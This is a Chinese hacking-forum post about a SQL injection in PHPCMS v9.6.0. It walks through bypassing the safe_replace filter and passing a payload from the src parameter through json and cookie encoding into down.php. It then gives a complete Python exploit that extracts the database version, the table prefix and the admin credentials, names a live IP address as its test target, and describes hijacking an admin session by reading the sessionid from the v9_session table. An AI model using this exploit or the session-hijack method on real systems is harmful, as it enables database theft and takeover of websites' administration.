热搜词
发表于 2017-4-12 16:30:27 | 显示全部楼层 |阅读模式
今天还是昨天
   突然整个圈子都在问一个phpcms v9漏洞
  我们这里有好几个未公开的
  后来经过证实,你们是要这个注入的漏洞
  这个漏洞的文档已经在小范围流传了
    phpcms_v9.6.0_sql注入 分析

  可疑的函数

   
130150woowwvpmq8iv09lv.jpg

  localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/
   2.过滤函数剖析和绕过

   
130150vq0equlysjgoe1yu.jpg

  localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/
   3.src变量到底去哪了

  /*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/
  down.php的decode成全了我
   
130150oiw3n53jljhfwfhn.jpg

  /*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/
   phpcms_v9.6.0_sql注入还原

  访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份。
   
130150csicl55mf9ns9sff.jpg

  2.把这个cookie的值复制下来以POST传入userid_flash变量访问
  /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%
  20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3
  Dhaha%26modelid%3D2%26catid%3D7%26
  不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload
   
130150xcpzd2qwxtf2vsdd.jpg

  3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?
  网上这个文档传的很快
  作者我也不知道是谁
  大家都把版权改成自己的
  我也是醉了
  有知情人士可留言~给人家一个版权
  下面是EXP:
  import requests,sys,urllib
  url = sys.argv[1]
  print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'
  sqli_prefix = '%*27an*d%20'
  sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'
  sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '
  sqli_password2 = '_admin li*mit 0,1)x))'
  sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'
  setp1 = url + '/index.php?m=wap&a=index&siteid=1'
  cookies = {}
  for c in requests.get(setp1).cookies:
  if c.name[-7:] == '_siteid':
  cookie_head = c.name[:6]
  cookies
  [cookie_head+'_userid'] = c.value
  cookies
  = c.value
  print '[+] Get Cookie : ' + str(cookies)
  setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding
  for c in requests.get(setp2,cookies=cookies).cookies:
  if c.name[-9:] == '_att_json':
  sqli_payload = c.value
  print '[+] Get SQLi Payload : ' + sqli_payload
  setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload
  html = requests.get(setp3,cookies=cookies).content
  print '[+] Get SQLi Output : ' + html.split('luan$')[1]
  table_prefix = html
  print '[+] Get Table Prefix : ' + table_prefix
  setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding
  for c in requests.get(setp2,cookies=cookies).cookies:
  if c.name[-9:] == '_att_json':
  sqli_payload = c.value
  print '[+] Get SQLi Payload : ' + sqli_payload
  setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload
  html = requests.get(setp3,cookies=cookies).content
  print '[+] Get SQLi Output : ' + html.split('luan$')[1]
  exp也是别人分享给的
  看起来作者应该是luan
  测试地址:
  122.9.16.209
  成功截图:
   
130150rqqli0sombqq6qoq.png

  不过呢,众所周知
  phpcms的密文特别难解密
  所以有个配合使用的方法
   通过 sql注入漏洞读取数据库 信息
  但是不能破解密码的情况下
  可以绕过后台验证
  phpcms数据库中表v9_session
  保存着管理员登录的信息
  而且字段sessionid保存着就是
  已经登录管理后台的PHPSESSID
   可以通过sql注入读取到这个值
  并写入到自己的浏览器中。
  直接访问后台地址:
  /index.php?m=admin&c=index&a=public_menu_left
  将数据库中的sessionid信息带入!
  相关文章网上也有
  最后,我还是觉得这个漏洞挺鸡肋的

  至于哪里鸡肋请看官细细体会

  还有几个更牛逼的漏洞也许

  过几天就会有人炸出来了
全部评论0
回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|管理员之家 ( 苏ICP备2023053177号-2 )

GMT+8, 2024-7-9 05:25 , Processed in 0.170033 second(s), 26 queries .

Powered by Discuz! X3.5

Cpoyright © 2001-2024 Discuz! Team